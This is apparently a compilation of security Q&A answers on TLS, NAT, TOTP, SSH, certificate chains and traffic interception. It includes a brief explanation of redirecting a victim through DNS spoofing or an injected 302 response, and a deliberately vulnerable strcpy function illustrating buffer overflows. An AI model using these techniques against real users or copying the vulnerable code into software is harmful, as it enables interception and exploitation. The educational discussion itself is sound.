Android mobile application security testing

I think it depends on the app. If it uses the system wide Cert settings then you can try importing the Burp CA onto the phone/emulator. You can load the http://burp url in the browser of the phone and then download the CA there, but this only works when Burp is already set as a proxy on the phone. More info here:

https://support.portswigger.net/customer/portal/articles/1841102-Mobile%20Set-up_Android%20Device%20-%20Installing%20CA%20Certificate.html

If the app implements some kind of cert validation itself, then you might need to turn that off somehow, or install the server's private key and cert in burp, of course only if you have them.


chipTan in combination with bank's portal or mobile application

It's difficult to say if the app is more or less secure than the web portal without access to security testing data, there is no default 'x is more secure than y' scenario. It depends on many factors.

There may be a difference between the portal you use on your PC and the portal you use on your phone.  Web applications will often deliver a different UI based on the user agent and it is possible that some of these underwent different levels of security engineering and security testing. Again though, there is no way we can tell you without carrying out a security audit of the application.


SSL 3.0 is not a standard. Realistically, it is "what Netscape was doing at that time". When the protocol was turned into a standard, it became RFC 2246, aka "TLS 1.0".

The original document which the TLS authors used as source was later on (much later on) put in the RFC format and became RFC 6101, which has category "Historic". Historic RFC are quite low on the standards ladder; they are even below the "Informational" RFC. Before publication of that RFC, people intent on writing an SSL library would first implement TLS 1.0 as per the RFC, then wade through OpenSSL's source code and make interoperability tests with existing implementations to also offer SSLv3.

Since SSLv3 is a de facto but not de jure standard, you will not find a RFC which specifies the standard way of doing AES with SSL 3.0; by definition, there cannot be such a standard. At best, one may imagine an "Historic" RFC which would document the common practice, which is namely direct usage of RFC 3268. SSL 3.0 is very similar to TLS 1.0, so the backport of AES cipher suites from TLS 1.0 to SSL 3.0 is not ambiguous; as someone who already did that (several times !), I can confirm that getting AES support "right" in SSL 3.0 is not hard (where "right" means: "works with existing SSL clients and servers").


AES Encryption is this overcomplicated encryption?

First two steps are normal since AES libraries accept bytes. 3th one for prevention of the length extension attacks. Assume that we are adding the length at the end and we have 2 ciphertext blocks; {B1,B2}. If someone noticed another ciphertext with 3 blocks {D1,D2,D3} then {B1,D2,D3} will be valid block. Of course, one can do the same trick if the length at the beginning or even both.

Actually, the real problems are;

Which encryption mode are you using?

You should not use ECB mode which is not secure. Use CBC mode that requires IV or CTR mode.

Is there any authentication?

The problems in the first paragraph are due to there is no authentication mentioned. AES-GCM, which is a standard in TLS 1.3 , provides Authenticated Encryption. That prevents the modification by the attacker since you can check the authentication tag of the data.

Note: Nothing mentioned about the padding scheme. Assumed that there is one around as PKCS#5 padding.


Drive-by downloads are usually used in browser exploit-kits, as well as in malicious advertisements. I haven't found the origin of the term, but there are some articles. This paper, published in 2006, analyzes drive-by downloads from 2005.

A Symantec article from 2006 explains that the WMF vulnerability was popular.

HP DVLabs reports on web exploit-kits:

  The trend started in 2006 with the release of WebAttacker, which is considered by many to be the first modern day Web exploit toolkit.


Finding the company name by the AWS IP address

With an IP alone it will be difficult.

What you can do is gauge the IP Range. If it's a company they might own a range of IP Address and not a single one, you can try to increment/decrement the IP you know and reverse lookup it. The goal is to fetch a domain name.

This approach is approximative, and you will never be 100% sure of the result.

Well, it's possible to push the IP investigation further, but that include the use of illegal techniques, so i will not recommend it nor state how to proceed.

On the other hand if the IP is attached to a domain name it can be done pretty easily with a bit of luck. In a legal way.

(Like @Schroeder stated, keep in mind that if it's a shared IP it will be nearly impossible.)


Why is it fine for certificates above the end-entity certificate to be SHA-1 based?

This is not for "certificates above the end-entity" but for "root certificates" only.

In pure X.509, there is no such thing as a "root certificate". There are certificates, and there are trust anchors. A certificate contains a public key, the name of the entity that owns that key, and is signed by another entity (an "upper certification authority"). This process of signing must start somewhere, and that somewhere is a "trust anchor". A trust anchor is a name and a public key.

X.509 does not specify how any entity should encode trust anchors, since trust anchors are something that is known a priori, not something meant to be exchanged over the network. However, a traditional method of storing trust anchors is to use the same format as certificates. A certificate contains, among other things, a non-optional field for a signature from some upper CA. Instead of defining a new format for a trust anchor, Tradition is to fill the "signature field" with a self-signature. Thus is born a root certificate: a trust anchor that is encoded as a self-signed certificate.

But that self-signature is meaningless ! It has no security value whatsoever. Correspondingly, nobody verifies it(*). Therefore, there is no problem related to its use of a hash function that is otherwise regarded with some suspicion.

(*) Some systems heuristically check that signature because self-signed certificates can only be used as a root, not as anything else. But this is not a security feature; this is for user interface convenience, with no reliance on the safety of that signature. Hence, no problem with SHA-1 or, come what may, MD5 or MD2.


Why openssl shows www.google.com sha1WithRSAEncryption?

You've missed important information from the blog entry you link to (I've marked the relevant part):

  Sites with end-entity (“leaf”) certificates that expire on or after 1 January 2017, and which include a SHA-1-based signature as part of the certificate chain, will be treated as “secure, but with minor errors”.

The certificate for Google expires 15/10/3 so it is not affected by this condition.


How to capture all traffic from a new device?

As MadWard 4 mentioned you can't decrypt the SSL without the private key but sadly most of the IoT devices out there don't use encryption so depending on your device you may in fact be able to see everything anyway and if nothing else you can learn things about where the device is communicating to and its frequency of communication even if SSL is present.

If it's an option I would recommend having a computer act as a wireless access point / router / ad-hoc network and then connect the IoT device to that computers WiFi interface and run wireshark or tshark on that computers wireless interface. The reason for this is you would be in a better place to capture all of the wireless traffic.


With IPv6 do we need to use NAT any more?

There is some widespread confusion about NAT.

NAT has never been meant to be used as a security feature. However, it so happens that in most cases (not all), when a machine has access to the Internet through NAT only, then the machine is somehow "protected". It is as if the NAT system was also, inherently, a firewall.

Let's see how it works:

An IP packet has a source and a destination address. Each router, upon seeing the destination address, decides to which subsequent router the packet shall be sent.
When a router implements NAT, it forwards outgoing packets under a guise; namely, the packets bear the router's external IP as source address, not the actual source. For incoming packets, the router does the reverse operation. The TCP/UDP port numbers are used to know to what internal host the packets relate.
However, from the point of view of the router, the internal hosts have (private) IP addresses which are directly reachable. NAT is for communications between the internal hosts and machines beyond the router.

Let's take an example:

Inner <---> HomeRouter <---> ISPRouter <---> The Internet

"Inner" is your PC. "HomeRouter" is the router which does the NAT. "ISPRouter" is the router at your ISP.

The "firewall effect" is the following: usually, even if "Inner" has an open port (it runs a remotely reachable service, e.g. a local Web server on port 80), people from "the Internet" will not be able to connect to it. The reason is the following: there are two ways by which an IP packet may be transferred by HomeRouter to Inner:

An incoming packet may come with HomeRouter's address as destination, and targeting a port which HomeRouter knows to be associated with an outgoing connection from Inner to somewhere on the Internet. This works only for a connection which was initiated by Inner, and this implies that the port will not match that of the server which runs on Inner.
An IP packet contains Inner's private IP address as destination and is somehow brought to the attention of HomeRouter. But ISPRouter does not know Inner's private IP, and would not forward an IP packet meant for that address to HomeRouter. Source routing could be used to tag a packet with Inner's private IP address as destination and HomeRouter's public IP address as intermediate host. If ISPRouter supports source routing, then such a packet will reach Inner, regardless of NAT. It so happens that almost no ISP actually supports source routing.

Therefore, the "firewall effect" of NAT relies on two properties:

Attackers are far: attackers do not inject packets directly on the link between the home router and the ISP; all their attempts must go through the ISP routers.
ISP don't allow source routing. This is the (very) common case.

So in practice there are a lot of machines, in private homes and small business, which could be hacked into in a matter of seconds except that they benefit from the "firewall effect" of NAT.

So what of IPv6 ? NAT was designed and deployed (widely deployed) in order to cope with the scarcity of free IPv4 addresses. Without NAT, the IPcalypse would have already destroyed civilization (or triggered IPv6 actual usage, maybe). IPv6 uses 128-bit addresses, instead of the meagre 32-bit IPv4 addresses, precisely so that crude workarounds like NAT need not be used.

You can use NAT with IPv6, but it makes little sense - if you can live with NAT, why would you switch to IPv6 at all ?

However, without NAT, then no "firewall effect", flimsy as it could be. Most operating systems are now IPv6 ready, and will use it automatically if given the chance. Therefore, if an ISP decides to switch IPv6 on, just like that, then a lot of machines which were hitherto "hidden" behind a NAT will become reachable from the outside. This could well turn into a worldwide hacking orgy. It is no wonder that ISP are somewhat... reluctant.

To switch to IPv6 nicely, you have to couple its enabling with some solid, well-thought firewalling rules, which will prevent incoming connections which were not possible in a NAT world (with the caveats explained above), but are now feasible thanks to the magic of IPv6. The operational word here is "think": this will require some time from some people, and that's not free.

So it can be predicted that IPv4 will be used and maintained as long as it can be tolerated, and, thanks to NAT and transparent proxies, this will be a long time (especially if we succeed at containing human population below 10 billions).


Are there still some ssl domains containing the nul character for testing purposes?

There is no such thing as an "SSL domain".

There is no NUL-handling bug in SSL, which is a specification.  Only bugs in implementations.  Lots of bugs.  In these bugs, there never was a NUL character in the hostname at all, only in the certificate.

Widely used implementations such as OpenSSL now protect against this, but testing is surely still worthwhile.

However, testing doesn't require connecting to a website.  You can run tests by asking your implementation to validate a locally stored certificate.  Instructions and example certificates have been available since 2009


Short answer: do a factory reset, update the firmware, and you are good to go.

The risk is very low, bordering zero. The previous owner may have installed a custom firmware or changed its configuration, but a firmware upgrade and factory reset is enough to take care of almost every change.

The risk that the previous owner tampered with the router and his changes can survive even a firmware upgrade and factory reset is negligible.

So, don't worry, unless you are a person of special interest: working on top-secret stuff or have privileged financial information on a big enterprise. But as you are buying a used router, I bet you are a common guy and would not be a target for those attacks.


What are the security implications of using TOTP for single factor authentication?

I have done some thinking on this topic and I would like to present my ideas. Feel free to draw your own conclusions.

Facts

The secret used for the TOTP algorithm is a 80-bit randomly generated key encoded with base32. This probably more secure than the passwords most people use.
The secret key is usually presented in the form of a QR-code to be scanned by the Authenticator app. Alternatively, some services also provide the base32 encoded secret key for manual input.
In an Android device, the secret is stored unencrypted in an SQLi database file. The SQLi file is located at /data/data/com.google.android.apps.authenticator2/databases/databases. However, this file isn't accessible to any application other than the Authenticator app itself. Obviously this does not apply to a rooted device. I do not have a rooted iOS device so I am unable to comment on the specifics of the iOS version of the Google Authenticator app.

My conclusions

In my opinion, there are some benefits and drawbacks to replacing passwords with a TOTP authentication solution.

Benefits

Assuming that the Android device in question is not rooted, no other application besides the Authenticator app can access the secret stored in the database. This removes a very large risk of malware hijacking the secret used for authentication. Any keyloggers/screenloggers will only be able to grab the temporary password that expires in 60 seconds. This is a very small window unless you are the focus of a very targeted attack.
Using TOTP removes the possibility of an attacker performing an online brute-force attack against the service. The window of opportunity is simply too short.
To some people, this is a good tradeoff between security and convenience. Most people I know carry a smartphone around 24/7. Authentication is a simple matter of accessing the app and keying in 6 digits. To some people, this might be easier than having to remember relatively strong passwords or carrying around a password database.

Drawbacks

A database compromise means having to reset the secret. This can be really troublesome for the users.
A user losing his/her smartphone means losing access to the service.

This is quite interesting to think about. However, in the real world you should obviously use regular passwords and one-time passwords together for 2FA.


Secure random data should not be predictable. Since encrypted data can be predicted from input text and encryption key they can never be a secure random source.

Apart from that the whole purpose of encryption is to hide the original content. The primary purpose is not to look like random data. This means you can not use the output from some arbitrary encryption and treat it as pseudorandom data. To do this you would need  algorithms which are specifically designed to produce output which looks statistically random.


Verifying SSH fingerprint of a public server

A malicious user cannot exploit a publicly known fingerprint of a public key, because verification is not limited to comparing the fingerprint to a fixed value.

Server presents two pieces of information to a client:

a public key
a message encrypted with its private key (which exists only on the legitimate server)

On the client side the message is decrypted using the public key and its content is verified.

User is given an option to manually compare the fingerprint of the public key to a known value.

By comparing the public key fingerprint, user ensures it belongs to the server they want to connect. By decrypting the message, client application ensures the server "holds" the corresponding private key.

Knowledge of the public key or its fingerprint does not give an attacker any information about the server's private key (that's the most basic principle of public key cryptography).

If attacker planted a malicious server, it still would need to use a private key to encrypt communication with the client. Communication encrypted with this private key would require decryption with a corresponding public key (different to the legitimate one).

User can then compare the fingerprint of the public key used with the one of the legitimate server as published.

Of course if an attacker altered the information about the server's public key and replaced it with their own, that attack would work. Thus user must evaluate the trustworthiness level of the medium they learnt the fingerprint from. In simple words: if the fingerprint information is provided on an unencrypted HTTP site or through a compromised channel it cannot be trusted.

Historically default fingerprint was presented as 128-bit MD5 hash in the form of colon-separated hex values:

 43:51:43:a1:b5:fc:8b:b7:0a:3a:a9:b1:0f:66:73:a8

The default was later changed to SHA-256 written as:

xrcV3g7R6sp8DVZGDEAhCL9s4TD9GFyrCbLCzHXi5iA

An OpenSSH client allows asking for a specific hash using the option FingerprintHash specified either in .ssh/config or directly in command:

ssh -o FingerprintHash=md5 example.com


I don't think so. There are sources that indicate that in addition to collecting the SSID, Google is also collecting the BSSID.

  The idea was to take the SSIDs and BSSIDs from the collected packets of data, and to store them in a database together with the information about the location where the SSIDs and BSSIDs were seen.
  Source

and

  Google and others like Apple and Skyhook build a Database which links WLAN BSSIDs to a geographic location. A BSSID is like the MAC Address of a access point that gets broadcasted by that access point.
  Source

Changing the BSSID of an access point is generally not something most access points let you do since it is tied to the MAC.


If the stack grows downwards, how can a buffer overflow overwrite content above the variable?

If the stack grows downward, functions that are called later get stack frames at lower memory addresses. Also, the return address is pushed to the stack before space for local variables is reserved, so the return address gets a higher address than the local variables. But arrays and buffers are still indexed upwards in memory, so writing past the end of the array will nicely hit the return address next on the stack.

Example, with mandatory ASCII art:

Consider the trivial function that takes input from an untrusted source, and copies it to a local buffer:

void foo(char *s)
{
    char buf[8];
    strcpy(buf, s);
    return;
}

The stack looks a bit like this:

   <---- stack grows to the left
    memory addresses increase to the right -->
  0x8000                        0x8010
  +--------+----------+---------++------------
  + buf[8] | ret addr | char *s ||   .......
  +--------+----------+---------++--------------
   <--------- foo() ----------->  <---- caller --

The stack is filled from right to left, starting with the function arguments, then the return address, then the locals of the function. It's easy to see that a simple overflow from buf towards increasing addresses will hit the return address nicely.

So, what if the stack is inverted, and it grows upwards? Then overflowing a buffer will run the same way the stack grows, towards the empty part of the stack.

Sounds nice, but it doesn't help if foo() calls another function to do the copy. Which isn't unusual, I just did that with the strcpy. Now the stack looks like this:

    stack grows to the right -->
    memory addresses increase to the right -->
            0x8000                          0x8010
------------++---------+----------+---------++-----------+-------------+
  ....      || char *s | ret addr | buf[8]  || ret addr  | locals  ... |
------------++---------+----------+---------++-----------+-------------+
 caller --->  <-------- foo() ------------->  <---- strcpy() ---------->

Now, overrunning (to the right) the buffer in foo()'s stack frame will nicely overwrite the return address of strcpy(), not foo(). Doesn't matter, though, we still jump to a location set by the overflowing, attacker-controlled data.


Store a text in encrypted form and use in powershell script without compromising it to other users?

If you need access to the plain text, this is impossible.

The best you can do is to obfuscate the text, e.g. to make it harder for someone to get at it, but as stated in the original question, even if you encrypt the text, you'll need to store the decryption key somewhere, so this just adds one more complication to a determined attacker.

It will be the same with all other ideas you think up to protect the text - it can't be done, whether you use Powershell scripts or something else.


Is password + second factor more secure than public key auth now? (SSH)

If the second factor is something that you have, and that cannot be copied, then it can be very secure.

RSA tokens (as was shown by the Lokheed Martin breach) may be physically secure, but if the backend is hacked, then they can be completely compromised. Which is why the mass recall/replace of RSA tokens was carried out.

The answer will depend entirely on your risk/threat model. If you are an NSA target I would imagine it won't matter either way. (In reality it doesn't look like there is any proof they can break SSH - just that they are very good at getting around it)

How well does your infrastructure/processes protect an SSH key? How good are your users at protecting a 2nd factor? Is that 2nd factor an SMS? Or a physical device? Or a phone call?

You can see why this is not an easy question to give a definitive answer to.


TLS1.0 deprecation and PCI DSS requirements

I don't think there is fixed set of compensating controls you can use in all cases. The idea of a compensating control is that you reduce the risk somehow which you have increased by staying with TLS 1.0. I don't think it is meant to be something which magically makes TLS 1.0 safer again. Which kind of compensating controls are needed and are possible depend on your specific use case, i.e. how much the risk is increased from clients using TLS 1.0 and how you can reduce it again.

Compensating controls to reduce the risk might be for example to limit the amount of money which can be transferred by the less secure clients within a specific time or for a single API key, to add some insurance in case something goes wrong, to make the TLS 1.0 interface only accessible from a few selected IP addresses etc. Of course a compensating control could also be to add an additional encryption layer. Only, most clients which are unable to move to TLS 1.2 because they depend on some old software stack are probably not flexible enough to add some additional encryption as mitigation either.


Manage Logs of Excessive Member and Server Authentication Failures

It is true, as you said, that both event IDs can be very noisy
  (especially ID 4625). However the way how to handle those event can be,
  from my experience, improved with the following suggestions.

On the first hand, and if your aim is to improve your process, I would suggest to review the way you group and manage those events in your SIEM (whatever it is). Actually, analyzing each event as a single event can turn out into a waste of time and total loss of visibility. What would be interesting is that you group events and count (with thresholds) for example the amount of time that a source IP, a user or a target is seen during a failed login attempt. This can be done creating some advanced brutforce rules/scenarios/use case. Below I provide you a concept that I have done and that I have implemented. On the left you have the different parameters than can be adjusted and on which you should group over or not. Risk means the criticality level of the scenarios when you alert and thresholds the variable you should adjust for the scenario/use case.

You will notice that I don't group over the error code. This is because I consider that an attacker can produced different results during a brutforce attack. However, you can still build specific use cases for specific errors (lock-out, disabled, expired, un-existing accounts ...).

On the other hand, if your aim is also to reduce the amount of those events, I can suggest the following actions:

Increase priority on failed login attempts on specific assets (sensitive servers, DMZ servers, databases, domain controllers, PKI, ...)
Focus on failed logins on sensitive accounts (eg: service or admin accounts)
Ignore lock out failures on user accounts until they remain under your lock out policy thresholds
Correlate failure events (ID 4625 and 4776) with the events produced on the source machine (ID 4648). This may allow to detect Pth or lateral movement attacks. You can use the following table of failure/success events to make the link between source and target and enrich your output for your analyst.

Correlate failure events IDs 4625 with Kerberos events (ID 4771, 4768) to enrich the results that the analyst will need to check
Ignore some specific error codes into your main use cases BUT make out of it a new use cases with lower priority. You will check those incidents later. As an input, I can provide you the following extract of error codes for 4625 to filter out what you need:

  So I hope this bunch of information will help you. But keep in mind, correlation in the key to reduce load, false positive and increase visibility.


Sites are signed with an incorrect VeriSign Class 3 G5 CA

Don't panic.
It's just different ways of building a certificate chain of trust. Both ending in a trusted root CA. But once with and once without going via an additional intermediate certificate.

There exists more than one certificate with the CN "VeriSign Class 3 Public Primary Certification Authority - G5"

And SSL-Tools.net has a list of them.

There's your F4A8 (First two bytes of SHA-1 hash) cert in there. It turns out that it's a non self signed CA cert.

There's also your 4EB6 cert there. It turns out that one is a self signed root CA.

And your 32F3 cert is in there as well. That one is a non self signed CA cert again.

Now whether the client treats any of these three as a Trust Anchor is up to the client. Trust Anchor means: Okay, this is good enough for me. I'll do no further processing. There are different trust stores on different clients. (Microsoft, Mozilla, Apple being some of the more well known trust stores.)

What now?
So what practical consequences from this? Check your site with SSL labs. (Make sure to check the "Do not show result on boards" checkbox.) Especially: Make sure there are no chain errors.

Further reading
Your question is very, very close to the one discussed here:
StackOverflow: Python Urllib2 SSL error
Two of the CA certs are the same. And the answer by Steffen Ullrich is very good.


Howto restore factory default state of an USB pen drive?

Unfortunately, there is no standard way to do this. USB flash drives are not the same as SATA drives and they do not follow the same specifications. There is no way to initiate the ATA Secure Erase because such a function is not even part of its firmware. Additionally, because of the way the firmware operates (dynamic wear leveling and overprovisioning), you cannot actually wipe everything on the device just by writing to the block device, as is explained in more detail in this answer.
The most effective way to wipe a USB flash drive is to only write encrypted content to it and forget or destroy the key. If that is not an option, then physical destruction is a requirement. No software is able to securely erase the data on an average USB flash drive with sufficient effectiveness.


How do I prevent traffic on my site from a source other than Cloudflare?

Once you change the public IP address of your site, configure the DNS to point to Cloudflare and forward your request from there, the attacker will always go through the Cloudflare and won't hit your server directly.

Cloudflare publishes its public IP list that you can restrict on your perimeter. The list is available at https://www.cloudflare.com/ips/


This is actually harder than you might think. An iPhone's automatic data protection encrypts each file with a random key, and stores a copy of the key encrypted with the appropriate class key (from the keybag, where it is encrypted with the phone's UID key and the user's passcode) in the file header in the filesystem.

Upon deleting a file, the file header in the filesystem is cleared, so the encrypted key is lost, effectively accomplishing a cryptographic erasure of that one file. Therefore, something like Photorec on the disk image will get you nothing. Even recovery of the class keys is useless, because the wrapped file encryption key has been lost.

Of course, to gain full NSA-resistant security when doing cryptographic erasure on flash, you have to store the key on a section of the flash that doesn't have overprovisioning or copy-on-write or any of the other handy flash translation layer features that might leak old data. The key for the whole filesystem is stored in just such a special area, called Effacable Storage, but the wrapped per-file keys are not, so perhaps desoldering the flash and dumping it chip by chip might let you recover the wrapped keys. Of course, you'd still need the iPhone's UID key to decrypt the transparently-encrypted filesystem header that was decrypted for free before you desoldered the chips...

At some point here you bash your brains out on the wall and die.

(A corollary to all this is that wiping the free space on an iPhone is pointless, because it's already been cryptographically erased.)


TextSecure/WhisperPush instant messaging by Open Whisper Systems: End-to-end encrypted or not?

You're confusing two different companies and products:

WhisperText LLC which develops the Whisper App

They're the geolocating datasharing company that drew the criticism you linked.
Open Whisper Systems which develops TextSecure, RedPhone, Signal

These are various end to end encrypted products. I have seen no reason to distrust them.

But obviously even with end-to-end encryption, the server learns some metadata. It can promise not to retain it, but that's unverifiable. Some metadata could be avoided by routing through Tor, but that comes with its own share of issues.


How to make nmap list an unfiltered port?

I have stopped the service, but the port is still open.

Your port is "open" on the router, which only passes traffic on to its destination. If there is nothing listening at the destination (the service is stopped), it is a closed port for all intents and purposes. It's just not a firewalled port.


How to implement an active Man-In-The-Middle attack that changes the request URL address

You could MITM the victim’s DNS connection. When the victim requests a name resolution for a.com, you return the address for b.com. The victim’s browser bar will still say a.com, but they will be communicating with b.com.

Or you could MITM the http stream and let the victim connect to a.com, but replace the server’s 200 response with a 302 redirect response to b.com. The victim’s browser will show b.com in the address bar.


Hashing algorithm where re-identification is impossible?

What it sounds like you need is a keyed hash.   Perhaps the most common example is HMAC.   It takes your data and key, in order to produce the output which will be deterministic, so you will get the same MAC output for 100 (your sample input) every time.   When you're finished computing the hashes on your data, delete the key, and you will no longer be able to compute the same MACs without brute forcing the key.  Assuming the key you've chosen is strong enough (say, 128-bits from a CSPRNG) and this will not be feasible even with all of the computing power on earth for all time.


On a public wifi I just tried to access google over HTTPS and was forced on to HTTP, how?

This is actually a feature that Google support. If the person in control of the DNS servers for the network changes the CNAME for "www.google.com" to point to "nosslsearch.google.com" then Google will disable SSL for requests.

This is known as the NoSSLSearch option, more details are here: https://support.google.com/websearch/answer/186669?hl=en


How many people am I sharing my computer with?

Since you mentioned you are using a Windows computer, here is a site which will describe how to activate 'Audit Logon Events' if it's not already activated. Here is a brief description of what ALE is:

Audit Logon Events:

  The Audit logon events setting tracks both local logins and network
  logins. Each logon event specifies the user account that logged on and
  the time the login took place. You can also see when users logged off.

However as far as Firefox goes, I can say that you don't have to worry about security if you set your browser up correctly. Here are a few links that might help you in your current situation:

Delete Saved Passwords in Firefox

Password Manager - Remember, delete, change and import saved passwords in Firefox

Settings for privacy, browsing history and do-not-track

The links provided are reputable links, including some from Mozilla (Creators of Firefox), so you can trust the information coming from them.

Additional Actions

Also if you are really cautious, you can download a program called 'CCleaner'. It's a very common cleaner for windows users which will take care of web browser data such as: cache, passwords, and history. It can also do much more if you want it to. Here is a link to CCleaner


Honeypot on home network to help me learn

Especially given your lack of network experience, that sounds like a substantial risk to your home network to me :)   Alternatively you could deploy it in the cloud for not much money and watch it there.

See DMZ (Wikipedia) for background and other answers here for tips on designing DMZs.  Unless you have a real firewall node providing network separation between your DMZ network and your home network, it isn't really a DMZ.


How am I ever going to be able to "vet" 120,000+ lines of Composer PHP code not written by me?

You can't vet individual lines of code. You'll just die trying to do that.

At some point, you have to trust someone else. In 1984, Ken Thompson, one of the co-inventors of much of Unix, wrote a short article on the limitations of trusts. At some point, you do have to trust other people, you have to trust that whoever wrote your text editor isn't automatically hiding some Trojan code that the PHP interpreter will execute into some Bitcoin stealing malware.

You have to do a cost-benefit analysis to prioritize what you vet.

For the most part, you should do the best you could to vet the authors of the code, the project's internal security practices, and how the code reaches you. Actually reviewing the code is expensive and hard, so they should be reserved for the parts that you consider most important for your project.

Is the library a popular library that's used by lots of people with a respectable company or a well-known project lead behind it? Does the project have proper project management processes in place? Does the library have a good past history of security issues, and how did they handle them? Does it have tests to cover all the behaviors it needs to handle? Does it pass its own tests? Then the risk of the library being compromised without anyone noticing is reduced.

Take a few sample files for deeper vetting. Do you see anything concerning there? If the few files you took have major issues, you probably can infer that the rest of the codebase has similar problems; if they look good, then it raises your confidence that the rest of the codebase is similarly well written. Note that in very large codebases, there will be different areas of the code with varying levels of code quality.

Does your package manager repository check for the package signature? Is there a pre-vetting system required to register a package into the repository or is it an open registration repository? Do you receive the library in the form of source code or as a precompiled binary? These affect how much you can trust the library, the risk factors, and how you can further improve trust.

You also have to consider the application and the execution environment that the application will run on. Is this for a national security code? Is this code handling part of an eCommerce or banking handling credit card numbers? Is this code running as a superuser? Is this code life/safety-critical? Do you have compensating controls to isolate and run code with different privileges (e.g. containers, VMs, user permissions)? Is this code for a weekend side project? How you answer those questions should let you define a budget on how much you can invest in vetting code, and therefore how to prioritize which libraries need vetting, at what level, and which ones are fine with lower trust.


Information Security is becoming more important, but why is it still so difficult to start off in?

In tackling your points separately:

There is a very active initiative, sponsored by the British government specifically to get young people into the security industry: https://cybersecuritychallenge.org.uk/
Organisations are crying out for hires at all levels, from new graduates to experienced professionals. The job boards are full of them. So are you looking in the right places? People hiring include the Big 4 accountancy firms (EY, PwC, KMPG, Deloitte) Pen Test companies and boutiques, as well as end user organisations such as banks.

If you are being turned down for roles, have you had your CV assessed? I often find new graduates have CV's which are very academic - and that turns off many employers.

Are you a member of IISP, ISACA, ISSA or ISC2? Joining one of these is a useful addition to your CV at your stage.

Have you looked at courses? Or getting a cert like CISSP? These will help get you past the HR firewall.

Look at the other questions tagged professional-education for more info.

I give quite a few talks to universities on career planning. One of my recent ones at Napier University in Edinburgh was videoed as part of an IISP event.


Is access token confidentiality also ensured in the Authorization Code grant type in Oauth2.0

This is not something that OAuth specifies. OAuth specifies how you obtain a token and a little bit, how they are used.
Both patterns you describe can be seen in the wild. The first is called the "backend for frontend" pattern. This is generally a good idea, because a user then cannot directly access the ressources, as the access token is never presented to the user.
The second one is mostly seen in Single Page Applications and should be used, when there is no backend present that can handle the tokens for you. You need to make sure that it is not a problem, that a user has access to the access token. (For example by accessing protected resources that only a backend server should access)


Is SSL required for sites hosted behind WAF?

A WAF applies filter rules on traffic at an "application" level (e.g. it tries to detect SQL injection attempts). This requires that the WAF sees the traffic, i.e. whatever SSL which may have happened on the client side must stop at the WAF. But you usually want some SSL to protect the traffic between the client and the WAF (in fact, you usually want it more on that link than between the WAF and the server itself, since WAF and server are usually nearby to each other).

There are two ways for a WAF to see SSL-protected traffic:

The WAF has a copy of the private key used by the (SSL-aware) server, and thus can decrypt the data as it flows. (This can imply some restrictions on the cipher suites used by the server; namely, no DHE).
The WAF itself runs a SSL server, and that is the one which the client sees. The WAF decrypt the data, runs its magic on it, and then forwards it to the server over a new connection which may or may not be SSL-protected.

Which one you use depends on what your WAF instance can do and how you configured it.


How to explain the upcoming Root Certificate Expiration period without technical terms?

.... there is a need for an explanation (or maybe multiple) that can be understood by non-technical users so that if they're one of those users on an older device, at the very least they know what's going on.

The technical reason is irrelevant for these users. All they want to know is the effect (for example device no longer works, exact behavior depends on the exact device) and who to blame for.

The blamable problem here is not the Root Certificate Expiration since this was a foreseeable problem which could have been addressed by the vendor: if the device is able to get to the internet it should be able to get updates with the new root CA too. Instead the vendor of the device is to blame in that he either did not foresee the problem and introduced the necessary steps to deal with it or that he explicitly decided to ignore the problem.

The sufficient explanation is therefore: the device does not (fully) work any more because the vendor made a mistake and is unable or unwilling to fix the mistake.


Is it reasonable to do a pentest (or other non-theoric security audit) over a critical infrastructure?

In any test that deals with critical systems, one would usually limit the test to low-risk operations, and avoid automated tools (e.g. Nessus) that might potentially harm the system.

Specific to critical infrastructure, I would say the following:

Schedule the test at a low demand point where applicable.
Make engineers and other support staff aware of the test, and have them standing by to fix any issues quickly.
Ensure that extra capacity / redundancy is planned during the test, where possible.
Ensure that the testers are given an appropriate action plan that details how to deal with serious faults, or unresponsive systems. This should include emergency contacts.

Despite this, there will always be a risk. It's something you have to deal with, and in a way it's a good thing. If the testers knock something offline by performing only low-risk actions, then you know that an attacker could do much worse. An accidental system crash during a planned test would suck, but not as much as widespread crashes due to malice when nobody is expecting it. Having it go down in the test scenario allows you to plan accordingly and make appropriate fixes.


Solution to hide a shared password to users

I have been where you are and had to deal with this kind of thing.

The technology type you are looking for is a Cloud Service Broker. It acts as a wrapper for external services that you can connect your local authentication services to. The service broker (depending on features) can then log in as a designated account to the external service.

This wrapper means that you get added security, auditing, the ability to lock someone out of the account (if they leave), while never exposing the service password.

Steffen is correct, though, whether or not you can use a CSB will depend on the target site.


Enabling feature to log in as soon as right password is typed (without pressing enter)

What impact does this have on security?

Your passwords are at worst 89% of the strength they would be if you had to press enter first. Here's how I calculated it. Suppose your password can be either 1-3 digits long, and also suppose an attacker does not know the length of your password. There are 1000 total combinations (0-999). Suppose your password is 7. 111 out of 1000 passwords will pass that test. (One single digit + 10 2 digits + 100 3 digits.) In the worst case that's (1-0.111) = 89% as strong as forcing someone to press enter. If your password is 71, 11 out of 1000 will pass it (99% as strong), and if your password is 711, 1 out of 1000 will pass it (100% as strong). The more digits you add, the further away from 89% you get, and the closer to 100% you get. So, effectively, we could say the security impact of this feature is minimal. The time saved by you in the long run of not having to press enter is probably worth it.

Is it much less secure and what is the minimum length of PIN should be?

If you choose a pin length of one more than you would normally choose, you are almost at the same level of security.

I'm concerned now that I'm starting to use my phone for banking.

I'm not sure how this is relevant. You should still be using a different password for banking. If you handed your unlocked phone to an attacker, your banking information should still be safe. If that's not true, perhaps because you have passwords remembered by banking sites or apps, then you may want to consider changing that. You cannot guarantee that your phone will be locked when an attacker takes it. (Like if someone running down the street rips it out of your hand.)


Kerberos authentication over the public internet

Arguably the reason Kerberos isn't used over the public Internet doesn't have to do with the security of the protocol, or the exposure of the KDC, but rather that it's an authentication model that doesn't fit the needs of most "public Internet" applications.

To quote Wikipedia, Kerberos "provides mutual authentication — both the user and the server verify each other's identity."  That means that the client machine needs to have the necessary keys to vouch for its identity before user authentication takes place.  Distributing those keys for "public Internet" applications isn't practical for several reasons - consider how many PCs access your banking web site, owned by a wide variety of people whose ability to install Windows patches regularly is strained.  It's not like corporate IT will come around and configure Kerberos for them.

Kerberos requires tightly synchronized clocks - not that hard to do in a centrally managed corporate or educational environment, a lot harder when the machines are all owned and managed by completely different people.

